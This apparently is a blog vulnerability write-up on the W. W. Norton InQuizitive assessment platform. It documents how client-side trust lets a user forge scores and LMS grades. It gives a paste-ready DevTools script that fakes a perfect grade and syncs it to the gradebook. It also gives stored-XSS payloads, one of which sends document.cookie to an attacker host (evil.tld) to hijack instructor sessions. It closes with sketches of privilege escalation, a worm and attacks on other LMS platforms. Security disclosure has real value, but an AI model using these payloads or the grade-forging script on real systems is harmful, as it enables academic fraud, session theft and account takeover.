InQuizitive: Client-Side Injection, LMS Trust Bypass, and Stored XSS
- ryanpotato2005
- Apr 9
- 3 min read
Updated: Apr 10
This write-up documents a critical client-side vulnerability in the W. W. Norton InQuizitive assessment platform. The vulnerability allows users to manipulate grades, scores, completion status, and LMS sync behavior entirely from the front end, bypassing any legitimate quiz interaction.
Impact
Full score injection without answering questions
Falsified completion status
Triggering 100% grades in LMS via spoofed sync
Potential stored XSS vectors
No server-side verification of submitted grades
The vulnerability stems from the entire grading logic exposed in JavaScript, with all score tracking and submission objects manipulable through the browser console.
The core issue is the platform trusting client-side JavaScript values for:
Score.current_score
Score.history
Score.total_question_results
Score.submitted_grade
…and ultimately allowing Score.write_score() to report this data back to the server and LMS without validating source or integrity.
Reproduction Steps
1. Open a quiz from InQuizitive (preferably via LMS for full effect).
2. Open DevTools Console.
3. Paste and run the following:
Score.current_score = 1500;Score.current_grade = 100;Score.submitted_grade = 100;Score.total_time_taken = 120;Score.total_question_results = 10;Score.grade_reported = true;Score.minimum_questions = 1;Score.minimum_minimum_questions = 1;Score.compute_grade();Score.write_score(); 4. Reload the chapter summary or LMS grade book — it reflects full completion and perfect grade.
Why does this happen?
This vulnerability exists because InQuizitive performs critical grading logic entirely on the front, using JavaScript objects and functions that are:
Accessible in the global window scope
Executable and modifiable by anyone using the browser’s developer tools
Trusted by the backend when submitting a grade
The platform does not enforce any integrity, authentication, or validation checks on the modified data before accepting grade submissions. This means a student can:
Skip answering questions
Directly manipulate their score, time spent, and performance history
Submit a perfect grade that appears legitimate in both the InQuizitive UI and the connected LMS (if applicable)
Essentially, the system trusts the browser too much!
Let’s see how far we can take this!
After some playing around we can see Score.history object accepts raw, unsanitized strings for fields like:
question_id
description (used in bonuses)
feedback.choice_fb[] (feedback on individual answers)
And if these are ever rendered into:
Instructor dashboards
Student review pages
Analytics tools (grade books, graphs, etc.)
We got a stored XSS opportunity!
Stored-XSS PoC:
Score.history.push({ type: "normal_question", question_id: `<img src=x onerror=alert(document.domain)>`, result: 100, time_taken: 5, wrong_guesses: 0});Another…
Score.add_bonus_to_history( `<svg onload=alert('XSS bonus')>`, 100);This adds a malicious entry that might later be reflected unsanitized in:
Feedback views for the student
Review sessions for instructors
Class activity logs
If this description is ever rendered in a tooltip or summary report, BOOM — XSS hits whoever views it.
Yikes!… This could be bad
While the initial exploit allows a student to spoof their own quiz data, the real danger comes from the ability to plant stored XSS payloads in data that is later rendered in privileged contexts — such as instructor dashboards, LMS integrations, or peer review environments.
Some examples of this are:
Stored XSS → Instructor Session Hijack
Once an attacker injects a payload like this:
Score.history.push({ type: "normal_question", question_id: `<img src=x onerror="fetch('https://evil.tld?c='+document.cookie)">`, result: 100});…it becomes part of the user’s quiz data. If the instructor or admin views a report that includes this question_id, and Norton doesn’t sanitize it:
The payload executes in the instructor’s browser
The attacker now has access to:
document.cookie
localStorage (possibly LTI tokens, user role info)
sessionStorage (grade override tokens, class IDs)
Any API the instructor is allowed to call
Stored XSS → Privilege Escalation to Admin
In Norton InQuizitive, instructors often have:
Access to entire class rosters
Grade override tools
Manual score adjustment privileges
A malicious payload could:
Auto-trigger grade changes for other students
Export all student data to a remote server
Inject further JavaScript into future quizzes or feedback fields (XSS worm)
Cross-Platform LMS Attack (Canvas, Blackboard, etc.)
If Norton reflects unsanitized data back into LTI-linked LMS pages, an attacker can:
Inject payloads into embedded Norton quiz iframes
Execute within LMS if sandbox restrictions are misconfigured
Use DOM-based injection to extract:
Instructor LMS credentials (via phishing overlays)
Course content
Gradebook access
Internal LMS API keys (some are exposed client-side)
Comments